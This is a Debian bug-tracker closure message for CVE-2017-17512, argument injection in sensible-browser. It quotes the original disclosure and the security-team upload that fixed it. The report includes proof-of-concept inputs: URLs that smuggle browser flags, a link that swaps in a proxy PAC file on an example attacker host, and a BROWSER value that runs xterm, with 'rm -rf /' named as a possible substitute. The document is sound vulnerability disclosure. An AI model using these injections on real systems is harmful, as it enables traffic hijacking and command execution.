Your message dated Mon, 25 Dec 2017 10:33:40 +0000 with message-id <e1etq4i-0008fm...@fasolo.debian.org> and subject line Bug#881767: fixed in sensible-utils 0.0.9+deb8u1 has caused the Debian Bug report #881767, regarding sensible-utils: CVE-2017-17512: Argument injection in sensible-browser to be marked as done.
This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 881767: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
--- Begin Message ---Package: sensible-utils Version: 0.0.10 Severity: grave Tags: security Justification: user security hole When the BROWSER environment variable is set, an invalid URI can be used to inject arguments in sensible-browser. Description =========== When BROWSER is set, sensible-browser calls the actual browser with: ~~~sh cmd=$(printf "$i\n" "$URL") $cmd && exit 0 ~~~ If a IFS character is in $URL, this leads to the injection of extra arguments when calling the actual browser. For example, this commands triggers the incognito mode of Chromium: ~~~sh BROWSER=chromium sensible-browser "http://www.example.com/ --incognito ~~~ This URI is invalid but if the caller does not properly validate the URI, an attacker could add extra arguments when calling the browser. For example, Emacs might call sensible-browser with an invalid URI. With this configuration: ~~~elisp (setq browse-url-browser-function (quote browse-url-generic)) (setq browse-url-generic-program "sensible-browser") ~~~ an org-mode file like this one: ~~~org [[http://www.yahoo.fr --incognito][test]] ~~~ will trigger the incognito mode of Chromium (this does not happen with org-mode 8.2.10 shipped in the emacs25 package but it does happen using org-mode 9.1.2 shipped in the elpa-org package). While this particular example is not very dangerous other arguments can be more harmful. For example, it is possible to inject an argument which overrides the proxy configuration (with a PAC file). This org-mode link launches Chromium with an alternative PAC file (silently): ~~~org [[http://www.example.com/ --proxy-pac-file=http://dangerous.example.com/proxy.pac][test]] ~~~ An attacker could use this type of URI, to forward all the traffic coming from the browser to a server he's controlling. Possibles fixes =============== * A simple fix, would be for sensible-browser to actually check that the URI parameter does not contain any IFS character (which are not valid in URI or IRI and fail if it does). It should probably add extra verification (such as checking that the argument does not begin by a dash). * Another solution would be to escape IFS characters. * The simpler fix would probably to drop support for "%s" in the BROWSER string: this feature is not supported by other programs anyway. This is "Alternative Secure BROWSER Definition" in [1]. * Or we could implement "Compatible Secure BROWSER Definition" from [1] but it may not be very convenient to do in shell. Moreover, we should probably add some basic URI validation in order to reject things like: ~~~sh BROWSER=chromium sensible-browser "--incognito" ~~~ Additional problems =================== sensible-browser does not handle empty browser in the BROWSER environment variable: ~~~sh BROWSER=":chromium" sensible-browser "xterm" ~~~ This command runs xterm (we could have used "rm -rf /"). Similar vulnerabilities in other packages ========================================= * lilypond lilypond-invoke-editor is vulnerable to the same argument injection [2]: ~~~sh BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/ --incognito" ~~~ Lilypond suggests using it as URI handler [3]: > When this functionality is active, LilyPond adds hyperlinks to the > PDF file. These hyperlinks are sent to a ‘URI helper’ > or a web-browser, which opens a text-editor with the cursor in > the right place. > > To make this chain work, you should configure your PDF viewer > to follow hyperlinks using the ‘lilypond-invoke-editor’ > script supplied with LilyPond. > > The program ‘lilypond-invoke-editor’ is a small helper program. > It will invoke an editor for the special textedit URIs, and run > a web browser for others. [...] * xdg-open xdg-open's 'envvar' implementation (open_envvar) has this same problem when '%s' is present in $BROWSER: # Triggers incognito mode: BROWSER="chromium %s" xdg-open "http://www.example.com/ --incognito" # Does not trigger incognito mode: BROWSER="chromium" xdg-open "http://www.example.com/ --incognito" References ========== [1] https://www.dwheeler.com/browse/secure_browser.html [2] http://sources.debian.net/src/lilypond/2.18.2-9/scripts/lilypond-invoke-editor.scm/#L129 [3] http://lilypond.org/doc/v2.18/Documentation/usage/configuring-the-system-for-point-and-click [4] https://specifications.freedesktop.org/desktop-entry-spec/1.1/ar01s06.html Thanks to Bastien Roucaries for some material and references. -- System Information: Debian Release: buster/sid APT prefers testing APT policy: (500, 'testing'), (500, 'stable'), (90, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores) Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8), LANGUAGE=fr_FR.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) -- no debconf information
--- End Message ---
--- Begin Message ---Source: sensible-utils Source-Version: 0.0.9+deb8u1 We believe that the bug you reported is fixed in the latest version of sensible-utils, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 881...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Salvatore Bonaccorso <car...@debian.org> (supplier of updated sensible-utils package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 1.8 Date: Wed, 20 Dec 2017 14:39:04 +0100 Source: sensible-utils Binary: sensible-utils Architecture: all source Version: 0.0.9+deb8u1 Distribution: jessie-security Urgency: high Maintainer: Anibal Monsalve Salazar <ani...@debian.org> Changed-By: Salvatore Bonaccorso <car...@debian.org> Closes: 881767 Description: sensible-utils - Utilities for sensible alternative selection Changes: sensible-utils (0.0.9+deb8u1) jessie-security; urgency=high . * Non-maintainer upload by the Security Team. * Argument injection in sensible-browser (CVE-2017-17512) Thanks to Gabriel Corona (Closes: #881767) Checksums-Sha1: 4b826e2878100c4c24c0ef34e355f06500980483 1590 sensible-utils_0.0.9+deb8u1.dsc 691e5045a928a8602b7a8c12cfa61513d8a5d7a9 53544 sensible-utils_0.0.9+deb8u1.tar.xz 2489ab1c561726f0eb4d2ca8c464fa13f673c2b8 10886 sensible-utils_0.0.9+deb8u1_all.deb Checksums-Sha256: 1d1d3d7e71c53cceb922dc33db5064cb5be76450a2918f8e3f998824237f09b0 1590 sensible-utils_0.0.9+deb8u1.dsc f4b505ecc1c5015df2e5d3595da12cceca54be8729270b054179d31d8d661ab9 53544 sensible-utils_0.0.9+deb8u1.tar.xz 0de3d1447f16851862e57951a6779c5adc9a97d0438092b2761c0d989c64ae9c 10886 sensible-utils_0.0.9+deb8u1_all.deb Files: af585e62eb03b0a7cac27159e398b7ea 1590 utils required sensible-utils_0.0.9+deb8u1.dsc 3235de9d52930f381b9e777ef1cf7d4a 53544 utils required sensible-utils_0.0.9+deb8u1.tar.xz c538301ccd44538097ebe8ecf883534f 10886 utils required sensible-utils_0.0.9+deb8u1_all.deb -----BEGIN PGP SIGNATURE----- iQKmBAEBCgCQFiEERkRAmAjBceBVMd3uBUy48xNDz0QFAlo6kX1fFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQSHGNhcm5pbEBk ZWJpYW4ub3JnAAoJEAVMuPMTQ89EXB0P/iAQrZkSL7EzhSDYOJLJFHM9UbHT8Os1 m2temBcIz2ZS5FKqGXHh61aY6sSDbilWoOrqPTS5Ho0kB+Bd5Pg16b3nxE3MdFLn DQN0AjSSB8J+eSbcN/TbtlMgOAV1mgC7q9ox72j17yrQSWGJbu5IccTUQT8YbeWM urK3P39jBtlK5nESJoF6goH+Vlu/nw9Jllu/PCvxZtS+fu+Tl+W+evntokwsBw7D PPKIzrIiCSH2niKdpTjmXF8TRhFa6adcy2wUlO9PoNvWlnXSQgagICd/TnqArmLi fn0P4xbk2YtneIrErxTFTuhOfokFAT+0wGhEbw65xLAn/S89GL0rlaPAVq9EDEXA Qyq5xAk4m3t7U5qZxW9pFbq4WU/Mkxw5Ywy+DEKXnLA8ntVfDcAtBGeiXaCAqjD5 N+ORO7ury3MgxSFBqjCDrtt9NevzRDoTDaoacBHID/OEHEFVr12HxHvZwFZxUw/i IUx0NXsvjQpE2B7GIX0G0QEaeKMW2+xft9x13P0dpmPSEqM8sRMPomOCC7OEo3SG TXKhg3x8rhoeks4fKHW4f7LjhUJuph/U6Hf4s+o8n3Pz4TIpktp0ShwZqHwd9Utb 1Qz4B8p2d276l7zgjT+xhBIemiegv36XR2E2kkT74WvU9zxFuckO1arlHffFb+/k 8d0eCCw7p+pM =Dmrp -----END PGP SIGNATURE-----
--- End Message ---
